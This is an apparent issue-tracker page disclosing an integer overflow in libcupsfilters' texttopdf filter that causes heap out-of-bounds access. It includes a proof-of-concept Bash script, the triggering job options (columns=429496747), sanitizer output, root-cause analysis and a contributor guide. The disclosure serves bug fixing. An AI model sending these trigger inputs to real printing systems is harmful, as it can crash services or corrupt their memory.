OpenPrinting / OpenPrinting/libcupsfilters
texttopdf: column-layout integer overflow causes heap out-of-bounds access
Nobody has claimed this yet.
- Dominant language
- C
- Stars
- 17
- Forks
- 71
- Avg merge
- 2d 17h
- Merged PRs (30d)
- 13
Description
Summary
cfFilterTextToPDF() derives its per-column width using signed int
arithmetic over the attacker-controlled columns option. A large positive
column count overflows the gutter multiplication and produces a small positive
logical column width. Repeated line and page-column transitions then index
beyond the allocated page buffer.
The failure is reached through the normal standalone texttopdf filter with
an ASCII document and ordinary job options. No fuzzing harness, malformed
container, or source modification is used.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.
Validated revisions:
- cups-filters:
11d1a190530f85a361a1b3835f57d635256dff1a - libcupsfilters:
905fd94fb22a9298bc8e2c845eb7e04f7055b686 - libppd:
522af8dd135f4dde66b1aac8b9d067808bbe122d
poc/document.txt contains 512 A bytes, with SHA-256
32beecb58a128af8248504600bd203dcc676adf41045300485655e6b8780a01d.
The first out-of-bounds access occurs while processing byte 397; the remaining
bytes demonstrate that the write continues into following heap memory. The
options are:
columns=429496747 cpi=10 lpi=1
Run:
./reproduce.sh
The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.
#!/usr/bin/env bash
set -euo pipefail
# PoC: texttopdf: column-layout integer overflow causes heap out-of-bounds access
# Finding ID: texttopdf-column-layout-integer-overflow
# Trigger: cfFilterTextToPDF() derives its per-column width using signed int
# arithmetic over the attacker-controlled columns option. A large positive
# column count overflows the gutter multiplication and produces a small
# positive logical column width. Repeated line and page-column transitions
# then index beyond the allocated page buffer.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.
OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"
for tool in base64 gzip sha256sum; do
command -v "$tool" >/dev/null || {
printf 'missing required tool: %s\n' "$tool" >&2
exit 1
}
done
write_file() {
local name="$1"
local expected_sha256="$2"
local path="$OUTPUT_DIR/$name"
local actual_sha256
mkdir -p "$(dirname "$path")"
base64 --decode | gzip --decompress > "$path"
actual_sha256="$(sha256sum "$path")"
actual_sha256="${actual_sha256%% *}"
if [[ "$actual_sha256" != "$expected_sha256" ]]; then
printf 'SHA-256 mismatch for %s\n' "$path" >&2
return 1
fi
printf '%s %s bytes sha256=%s\n' \
"$path" "$(wc -c < "$path")" "$actual_sha256"
}
# Malformed or boundary document consumed by the real filter/API.
# Output: document.txt (512 bytes)
write_file document.txt 32beecb58a128af8248504600bd203dcc676adf41045300485655e6b8780a01d <<'POC_PAYLOAD_0'
H4sIAAAAAAACA3N0HAUjGQAA9B8SZgACAAA=
POC_PAYLOAD_0
Result
UBSan first reports:
texttopdf.c:1915: runtime error: signed integer overflow:
5 * 429496746 cannot be represented in type 'int'
ASan then reports a two-byte heap-buffer-overflow read at line 1397, four
bytes after the 3,200-byte lchar_t page allocation. The same branch
subsequently writes the character attribute and the attacker-selected
character through the out-of-range pointer at lines 1409 and 1411.
The non-sanitized build reaches heap cleanup and aborts with:
double free or corruption (out)
Cause and expected behavior
For the default Letter printable width, cpi=10 creates
SizeColumns=80 and ColumnGutter=5. At lines 1915-1917:
ColumnWidth = (SizeColumns - ColumnGutter * (PageColumns - 1))
/ PageColumns;
PageColumns=429496747 overflows the multiplication and derives
ColumnWidth=4. Every four document characters advance the line; every ten
lines advance page_column, but the configured page-column count is so large
that the page is not flushed. The index at line 1390 therefore grows as
column + page_column * 9 even though each allocated row has only 80 cells.
The 397th character addresses cell 801 of an 800-cell page.
The column count and gutter product must be range-checked using checked
size_t arithmetic. Derived column widths, strides, and every flattened page
index must be proven to fit the allocated page before document processing.
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start in texttopdf.c at lines 1390, 1397, 1409, 1411, and 1915-1917 to trace column-width calculation and flattened page indexing. Run reproduce.sh with poc/document.txt and the stated columns, cpi, and lpi options under UBSan and ASan. Done means the PoC no longer reaches the reported overflow or out-of-bounds accesses, while normal processing remains intact.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- c
- Domain
- security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Quiet
- Clarity
- Clearly specified
- Newbie friendliness
- 55/100